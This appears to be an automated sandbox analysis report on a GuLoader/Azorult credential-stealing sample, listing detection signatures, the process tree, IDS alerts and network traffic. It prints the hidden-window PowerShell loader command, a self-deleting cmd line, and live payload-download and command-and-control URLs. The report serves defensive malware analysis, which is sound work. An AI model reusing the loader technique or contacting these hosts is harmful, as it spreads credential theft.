Edit tour

Windows Analysis Report
Fordybendes.exe

Overview

General Information

Sample name:	Fordybendes.exe
Analysis ID:	1501085
MD5:	21ea616cf4f0df2053beae6f4c625213
SHA1:	5b2399a6b7b87f19604bb94a4ebb3bc364b618ce
SHA256:	85f2c33bd270e95170ff8a249ff7c054ce2ad4044c41d6c9d989e7a914ac4cd0
Tags:	exe
Infos:

Detection

Azorult, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Azorult

Yara detected GuLoader

AI detected suspicious sample

Found many strings related to Crypto-Wallets (likely being stolen)

Found suspicious powershell code related to unpacking or dynamic code loading

Powershell drops PE file

Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Instant Messenger accounts or passwords

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Abnormal high CPU Usage

Binary contains a suspicious time stamp

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

PE file does not import any functions

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Fordybendes.exe (PID: 7180 cmdline: "C:\Users\user\Desktop\Fordybendes.exe" MD5: 21EA616CF4F0DF2053BEAE6F4C625213)

powershell.exe (PID: 7400 cmdline: "powershell.exe" -windowstyle hidden "$Cardinalfishes=Get-Content 'C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\Statsskattedepartement.Und';$Ventricolumnar=$Cardinalfishes.SubString(54973,3);.$Ventricolumnar($Cardinalfishes)" MD5: 3F92A35BA26FF7A11A49E15EFE18F0C2)

conhost.exe (PID: 7424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 7366FBEFE66BA0F1F5304F7D6FEF09FE)

wab.exe (PID: 1184 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: D11C02600774E4206E5CEF3AB43C813C)

cmd.exe (PID: 7068 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "wab.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 7366FBEFE66BA0F1F5304F7D6FEF09FE)

timeout.exe (PID: 5896 cmdline: C:\Windows\system32\timeout.exe 3 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Azorult	AZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit.	The Gorgon Group	http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/ https://asec.ahnlab.com/en/26517/ https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/ https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/	https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.2755466029.000000000B3AD000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: wab.exe PID: 1184	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
Process Memory Space: wab.exe PID: 1184	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
7.2.wab.exe.25b7acb1.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.wab.exe.25b7acb1.5.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x3049ba:$string1: SELECT origin_url, username_value, password_value FROM logins 0x3058eb:$string1: SELECT origin_url, username_value, password_value FROM logins 0x175185:$string2: API call with %s database connection pointer 0x175db9:$string3: os_win.c:%d: (%lu) %s(%s) - %s
7.2.wab.exe.25be6402.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.wab.exe.25be6402.3.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x299269:$string1: SELECT origin_url, username_value, password_value FROM logins 0x29a19a:$string1: SELECT origin_url, username_value, password_value FROM logins 0x109a34:$string2: API call with %s database connection pointer 0x10a668:$string3: os_win.c:%d: (%lu) %s(%s) - %s
7.2.wab.exe.25b58cc4.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.wab.exe.25b58cc4.4.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x3269a7:$string1: SELECT origin_url, username_value, password_value FROM logins 0x3278d8:$string1: SELECT origin_url, username_value, password_value FROM logins 0x197172:$string2: API call with %s database connection pointer 0x197da6:$string3: os_win.c:%d: (%lu) %s(%s) - %s
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "wab.exe", CommandLine: "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "wab.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Program Files (x86)\windows mail\wab.exe", ParentImage: C:\Program Files (x86)\Windows Mail\wab.exe, ParentProcessId: 1184, ParentProcessName: wab.exe, ProcessCommandLine: "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "wab.exe", ProcessId: 7068, ProcessName: cmd.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7400, TargetFilename: C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\sitre\Fordybendes.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" -windowstyle hidden "$Cardinalfishes=Get-Content 'C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\Statsskattedepartement.Und';$Ventricolumnar=$Cardinalfishes.SubString(54973,3);.$Ventricolumnar($Cardinalfishes)", CommandLine: "powershell.exe" -windowstyle hidden "$Cardinalfishes=Get-Content 'C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\Statsskattedepartement.Und';$Ventricolumnar=$Cardinalfishes.SubString(54973,3);.$Ventricolumnar($Cardinalfishes)", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Fordybendes.exe", ParentImage: C:\Users\user\Desktop\Fordybendes.exe, ParentProcessId: 7180, ParentProcessName: Fordybendes.exe, ProcessCommandLine: "powershell.exe" -windowstyle hidden "$Cardinalfishes=Get-Content 'C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\Statsskattedepartement.Und';$Ventricolumnar=$Cardinalfishes.SubString(54973,3);.$Ventricolumnar($Cardinalfishes)", ProcessId: 7400, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Win32/AZORult V3.3 Client Checkin M14 - Source IP: 192.168.2.3 - Destination IP: 188.114.96.3

Timestamp:	2024-08-29T12:14:45.960317+0200
SID:	2029467
Severity:	1
Source Port:	62661
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.3 - Destination IP: 5.255.110.9

Timestamp:	2024-08-29T12:14:35.249663+0200
SID:	2803270
Severity:	2
Source Port:	62659
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.3 - Destination IP: 5.255.110.9

Timestamp:	2024-08-29T12:13:08.403695+0200
SID:	2803270
Severity:	2
Source Port:	62658
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE AZORult v3.3 Server Response M1 - Source IP: 188.114.96.3 - Destination IP: 192.168.2.3

Timestamp:	2024-08-29T12:14:37.754930+0200
SID:	2029136
Severity:	1
Source Port:	80
Destination Port:	62660
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/AZORult V3.3 Client Checkin M14 - Source IP: 192.168.2.3 - Destination IP: 188.114.96.3

Timestamp:	2024-08-29T12:14:37.545903+0200
SID:	2029467
Severity:	1
Source Port:	62660
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE AZORult CnC Beacon M1 - Source IP: 192.168.2.3 - Destination IP: 188.114.96.3

Timestamp:	2024-08-29T12:14:37.545903+0200
SID:	2810276
Severity:	1
Source Port:	62660
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for domain / URL

Source: kenkyo.x24.eu	Virustotal: Detection: 6%	Perma Link
Source: https://kenkyo.x24.eu/wp-includes/ipfrjK171.bin	Virustotal: Detection: 12%	Perma Link
Source: https://kenkyo.x24.eu/	Virustotal: Detection: 8%	Perma Link

Multi AV Scanner detection for submitted file

Source: Fordybendes.exe	ReversingLabs: Detection: 55%
Source: Fordybendes.exe	Virustotal: Detection: 62%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: Fordybendes.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 5.255.110.9:443 -> 192.168.2.3:62658 version: TLS 1.2

Source: Fordybendes.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdby+ source: powershell.exe, 00000002.00000002.2750384130.0000000008ADE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vcruntime140.i386.pdb source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vcruntime140.i386.pdbGCTL source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msvcp140.i386.pdbGCTL source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdb source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: tem.Core.pdbr source: powershell.exe, 00000002.00000002.2737386866.00000000072B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msvcp140.i386.pdb source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdbUGP source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Core.pdbpdbore.pdb source: powershell.exe, 00000002.00000002.2737386866.0000000007306000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Fordybendes.exe	Code function: 0_2_00405A19 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_00405A19
Source: C:\Users\user\Desktop\Fordybendes.exe	Code function: 0_2_004065EA FindFirstFileA,FindClose,	0_2_004065EA
Source: C:\Users\user\Desktop\Fordybendes.exe	Code function: 0_2_004027CF FindFirstFileA,	0_2_004027CF

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029467 - Severity 1 - ET MALWARE Win32/AZORult V3.3 Client Checkin M14 : 192.168.2.3:62660 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2810276 - Severity 1 - ETPRO MALWARE AZORult CnC Beacon M1 : 192.168.2.3:62660 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2029136 - Severity 1 - ET MALWARE AZORult v3.3 Server Response M1 : 188.114.96.3:80 -> 192.168.2.3:62660
Source: Network traffic	Suricata IDS: 2029467 - Severity 1 - ET MALWARE Win32/AZORult V3.3 Client Checkin M14 : 192.168.2.3:62661 -> 188.114.96.3:80

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:62659 -> 5.255.110.9:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:62658 -> 5.255.110.9:443

Source: global traffic	HTTP traffic detected: GET /wp-includes/ipfrjK171.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: kenkyo.x24.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /wp-includes/ipfrjK171.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: kenkyo.x24.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /DL341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: d4hk.shopContent-Length: 103Cache-Control: no-cacheData Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 60 8b 30 62 ed 47 10 8b 30 62 8b 30 6c e8 26 67 ea 45 14 eb 26 66 98 26 66 98 42 70 9d 34 70 9d 31 70 9c 47 70 9d 31 11 8b 30 6c 8b 30 63 eb 47 70 9d 30 70 9d 35 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410`0bG0b0l&gE&f&fBp4p1pGp10l0cGp0p5
Source: global traffic	HTTP traffic detected: POST /DL341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: d4hk.shopContent-Length: 34052Cache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /wp-includes/ipfrjK171.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: kenkyo.x24.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /wp-includes/ipfrjK171.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: kenkyo.x24.euCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: kenkyo.x24.eu
Source: global traffic	DNS traffic detected: DNS query: d4hk.shop

Source: unknown

HTTP traffic detected: POST /DL341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: d4hk.shopContent-Length: 103Cache-Control: no-cacheData Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 60 8b 30 62 ed 47 10 8b 30 62 8b 30 6c e8 26 67 ea 45 14 eb 26 66 98 26 66 98 42 70 9d 34 70 9d 31 70 9c 47 70 9d 31 11 8b 30 6c 8b 30 63 eb 47 70 9d 30 70 9d 35 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410`0bG0b0l&gE&f&fBp4p1pGp10l0cGp0p5

Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: powershell.exe, 00000002.00000002.2737386866.0000000007367000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2750384130.0000000008AC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: wab.exe, 00000007.00000003.3148044488.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148198449.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148238012.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148132480.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://d4hk.shop/
Source: wab.exe, 00000007.00000002.3211936901.00000000251B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://d4hk.shop/DL341/index.php
Source: wab.exe, 00000007.00000003.3148044488.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148198449.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148238012.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148132480.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://d4hk.shop/DL341/index.phpDSU
Source: wab.exe, 00000007.00000003.3148044488.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148198449.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148238012.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148132480.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://d4hk.shop/DL341/index.phpmR
Source: Fordybendes.exe, Fordybendes.exe, 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmp, Fordybendes.exe, 00000000.00000000.1372692101.000000000040A000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: Fordybendes.exe, 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmp, Fordybendes.exe, 00000000.00000000.1372692101.000000000040A000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000002.00000002.2736182152.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 00000002.00000002.2733172530.0000000004EF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2733172530.0000000004DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: powershell.exe, 00000002.00000002.2733172530.0000000004EF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.2750384130.0000000008AC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: wab.exe, 00000007.00000002.3212287600.0000000025B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.com0
Source: powershell.exe, 00000002.00000002.2733172530.0000000004DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000002.00000002.2736182152.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2736182152.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2736182152.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.2733172530.0000000004EF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: wab.exe, 00000007.00000003.3084516455.0000000009AC7000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000002.3198702705.0000000009AB3000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3084484144.0000000009AE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kenkyo.x24.eu/
Source: wab.exe, 00000007.00000003.3084484144.0000000009AE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kenkyo.x24.eu/KW/
Source: wab.exe, 00000007.00000003.3084516455.0000000009AC7000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000002.3198702705.0000000009AB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kenkyo.x24.eu/V
Source: wab.exe, 00000007.00000003.3148044488.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148198449.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148238012.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3084516455.0000000009AC7000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000002.3198702705.0000000009AB3000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3148132480.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000002.3211044134.0000000024A70000.00000004.00001000.00020000.00000000.sdmp, wab.exe, 00000007.00000003.3084484144.0000000009AE6000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000007.00000002.3198702705.0000000009A78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kenkyo.x24.eu/wp-includes/ipfrjK171.bin
Source: wab.exe, 00000007.00000003.3084484144.0000000009AE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kenkyo.x24.eu/wp-includes/ipfrjK171.binPW
Source: wab.exe, 00000007.00000003.3084484144.0000000009AE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kenkyo.x24.eu/wp-includes/ipfrjK171.binYW
